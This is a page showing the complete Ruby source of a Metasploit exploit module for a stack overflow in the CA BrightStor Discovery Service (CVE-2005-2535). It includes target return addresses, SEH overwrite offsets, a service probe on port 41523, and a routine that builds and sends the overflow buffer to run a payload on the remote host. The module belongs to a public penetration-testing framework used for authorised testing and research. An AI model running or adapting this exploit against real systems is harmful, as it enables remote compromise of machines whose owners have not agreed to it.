CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/brightstor/discovery_tcp.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Seh
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'CA BrightStor Discovery Service TCP Overflow',
15
'Description' => %q{
16
This module exploits a vulnerability in the CA BrightStor
17
Discovery Service. This vulnerability occurs when a specific
18
type of request is sent to the TCP listener on port 41523.
19
This vulnerability was discovered by cybertronic[at]gmx.net
20
and affects all known versions of the BrightStor product.
21
This module is based on the 'cabrightstor_disco' exploit by
22
HD Moore.
23
},
24
'Author' => [ 'hdm', 'aushack' ],
25
'License' => MSF_LICENSE,
26
'References' =>
27
[
28
[ 'CVE', '2005-2535'],
29
[ 'OSVDB', '13814'],
30
[ 'BID', '12536'],
31
[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2005-02/0123.html'],
32
[ 'EDB', '1131']
33
],
34
'Privileged' => true,
35
'Payload' =>
36
{
37
'Space' => 2048,
38
'BadChars' => "\x00",
39
'StackAdjustment' => -3500,
40
},
41
'Platform' => %w{ win },
42
'Targets' =>
43
[
44
[
45
'cheyprod.dll 9/14/2000', # Build 1220.0 9/14/2000 7.0.1220.0
46
{
47
'Platform' => 'win',
48
'Ret' => 0x23803b20, # pop/pop/ret
49
'Offset' => 1032,
50
},
51
],
52
[
53
'cheyprod.dll 12/12/2003',
54
{
55
'Platform' => 'win',
56
'Ret' => 0x23805714, # pop/pop/ret
57
'Offset' => 1024,
58
},
59
],
60
[
61
'cheyprod.dll 07/21/2004',
62
{
63
'Platform' => 'win',
64
'Ret' => 0x23805d10, # pop/pop/ret
65
'Offset' => 1024,
66
},
67
],
68
],
69
'DisclosureDate' => '2005-02-14',
70
'DefaultTarget' => 1))
71
72
register_options(
73
[
74
Opt::RPORT(41523)
75
])
76
end
77
78
def check
79
80
# The first request should have no reply
81
csock = Rex::Socket::Tcp.create(
82
'PeerHost' => datastore['RHOST'],
83
'PeerPort' => datastore['RPORT'],
84
'Context' =>
85
{
86
'Msf' => framework,
87
'MsfExploit' => self,
88
})
89
90
csock.put('META')
91
x = csock.get_once(-1, 3)
92
csock.close
93
94
# The second request should be replied with the host name
95
csock = Rex::Socket::Tcp.create(
96
'PeerHost' => datastore['RHOST'],
97
'PeerPort' => datastore['RPORT'],
98
'Context' =>
99
{
100
'Msf' => framework,
101
'MsfExploit' => self,
102
})
103
104
csock.put('hMETA')
105
y = csock.get_once(-1, 3)
106
csock.close
107
108
if (y and not x)
109
return Exploit::CheckCode::Detected
110
end
111
return Exploit::CheckCode::Safe
112
end
113
114
def exploit
115
connect
116
117
print_status("Trying target #{target.name}...")
118
119
buf = rand_text_english(4096)
120
121
# Overwriting the return address works well, but the only register
122
# pointing back to our code is 'esp'. The following stub overwrites
123
# the SEH frame instead, making things a bit easier.
124
125
seh = generate_seh_payload(target.ret)
126
buf[target['Offset'], seh.length] = seh
127
128
# Make sure the return address is invalid to trigger SEH
129
buf[ 900, 100] = (rand(127)+128).chr * 100
130
131
# SERVICEPC is the client host name actually =P (thanks Juliano!)
132
req = "\x9b" + 'SERVICEPC' + "\x18" + [0x01020304].pack('N') + 'SERVICEPC' + "\x01\x0c\x6c\x93\xce\x18\x18\x41"
133
req << buf
134
135
sock.put(req)
136
sock.get_once
137
138
handler
139
disconnect
140
end
141
end
142
143